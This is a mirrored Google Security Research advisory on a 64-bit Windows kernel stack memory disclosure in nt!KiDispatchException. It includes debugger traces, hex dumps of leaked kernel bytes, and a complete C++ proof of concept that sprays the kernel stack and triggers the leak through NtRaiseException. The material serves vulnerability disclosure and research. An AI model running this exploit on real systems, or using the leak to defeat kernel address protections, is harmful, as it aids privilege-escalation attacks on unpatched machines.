首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Kernel - 'nt!KiDispatchException' 64-bit Stack Memory Disclosu
来源:Google Security Research 作者:Google 发布时间:2018-03-21  
/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a EXCEPTION_RECORD structure to user-mode memory while passing execution to a user-mode exception handler. The vulnerability affects 64-bit versions of Windows 7 to 10.
 
The leak was originally detected under the following stack trace (Windows 7):
 
--- cut ---
  kd> k
   # Child-SP          RetAddr           Call Site
  00 fffff880`040b7e18 fffff800`026ca362 nt!memcpy+0x3
  01 fffff880`040b7e20 fffff800`026db3bc nt!KiDispatchException+0x421
  02 fffff880`040b84b0 fffff800`0268fafb nt!KiRaiseException+0x1b4
  03 fffff880`040b8ae0 fffff800`0268d093 nt!NtRaiseException+0x7b
  04 fffff880`040b8c20 00000000`74b5cb49 nt!KiSystemServiceCopyEnd+0x13
--- cut ---
 
and more specifically in the copying of the EXCEPTION_RECORD structure:
 
--- cut ---
  kd> dt _EXCEPTION_RECORD @rdx
  ntdll!_EXCEPTION_RECORD
     +0x000 ExceptionCode    : 0n1722
     +0x004 ExceptionFlags   : 1
     +0x008 ExceptionRecord  : (null)
     +0x010 ExceptionAddress : 0x00000000`765fc54f Void
     +0x018 NumberParameters : 0
     +0x020 ExceptionInformation : [15] 0xbbbbbbbb`bbbbbbbb
--- cut ---
 
In that structure, the entire "ExceptionInformation" array consisting of 15*8=120 bytes is left uninitialized and provided this way to the ring-3 client. The overall EXCEPTION_RECORD structure (which contains the ExceptionInformation in question) is allocated in the stack frame of the nt!KiRaiseException function.
 
Based on some cursory code analysis and manual experimentation, we believe that the kernel only fills as many ULONG_PTR's as the .NumberParameters field is set to (but not more than EXCEPTION_MAXIMUM_PARAMETERS), while the remaining entries of the array are never written to. As a result, running the attached proof-of-concept program reveals 120 bytes of kernel stack memory (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:
 
--- cut ---
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000070: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---
 
If we replace the stack-spraying function call in the code with a printf() call, we can immediately spot a number of kernel-mode addresses in the output dump:
 
--- cut ---
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: a0 ce 1e 00 00 00 00 00 a0 ce 1e 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 64 0b 00 00 00 40 00 00 ........d....@..
  00000030: b8 00 00 00 00 00 00 00 60 6e 83 5d 80 f9 ff ff ........`n.]....
  00000040: 00 0d 78 60 80 f9 ff ff 00 00 00 00 80 f9 ff ff ..x`............
  00000050: 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 ................
  00000060: 10 01 00 00 00 00 00 00 00 70 f5 3f 01 00 00 00 .........p.?....
  00000070: 50 0b 10 60 80 f9 ff ff ?? ?? ?? ?? ?? ?? ?? ?? P..`............
--- cut ---
*/
 
#include <Windows.h>
#include <cstdio>
 
extern "C"
NTSTATUS
NTAPI
NtRaiseException(
  IN PEXCEPTION_RECORD    ExceptionRecord,
  IN PCONTEXT             ThreadContext,
  IN BOOLEAN              HandleException);
 
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }
 
    printf("\n");
  }
}
 
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}
 
VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(*EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );
 
  if (!initialized) {
    EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }
 
  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
 
LONG CALLBACK VectoredHandler(
  _In_ PEXCEPTION_POINTERS ExceptionInfo
) {
  PrintHex((PBYTE)ExceptionInfo->ExceptionRecord->ExceptionInformation,
           sizeof(ExceptionInfo->ExceptionRecord->ExceptionInformation));
  ExitProcess(0);
}
 
int main() {
  AddVectoredExceptionHandler(1, VectoredHandler);
 
  // Initialize the exception record.
  EXCEPTION_RECORD er;
  RtlZeroMemory(&er, sizeof(er));
  er.ExceptionAddress = main;
  er.ExceptionCode = STATUS_ACCESS_VIOLATION;
  er.ExceptionFlags = 0;
  er.NumberParameters = 0;
  er.ExceptionRecord = NULL;
 
  // Initialize the CPU context.
  CONTEXT ctx;
  RtlZeroMemory(&ctx, sizeof(ctx));
  ctx.ContextFlags = CONTEXT_ALL;
  GetThreadContext(GetCurrentThread(), &ctx);
 
  // Spray the kernel stack with a 0x41 marker byte.
  SprayKernelStack();
 
  // Trigger the memory disclosure.
  NtRaiseException(&er, &ctx, TRUE);
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Kernel - 'Nt
·Microsoft Windows Kernel - 'nt
·Microsoft Windows Kernel - 'Nt
·Internet Explorer - 'RegExp.la
·Google Software Updater macOS
·Microsoft Windows - Desktop Br
·Crashmail 1.6 Buffer Overflow
·Kamailio 5.1.1 / 5.1.0 / 5.0.0
·Linux Kernel < 4.4.0-21 (Ubunt
·Intelbras Telefone IP TIP200 L
·Linux Kernel < 3.5.0-23 (Ubunt
·Cisco node-jos < 0.11.0 - Re-s
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved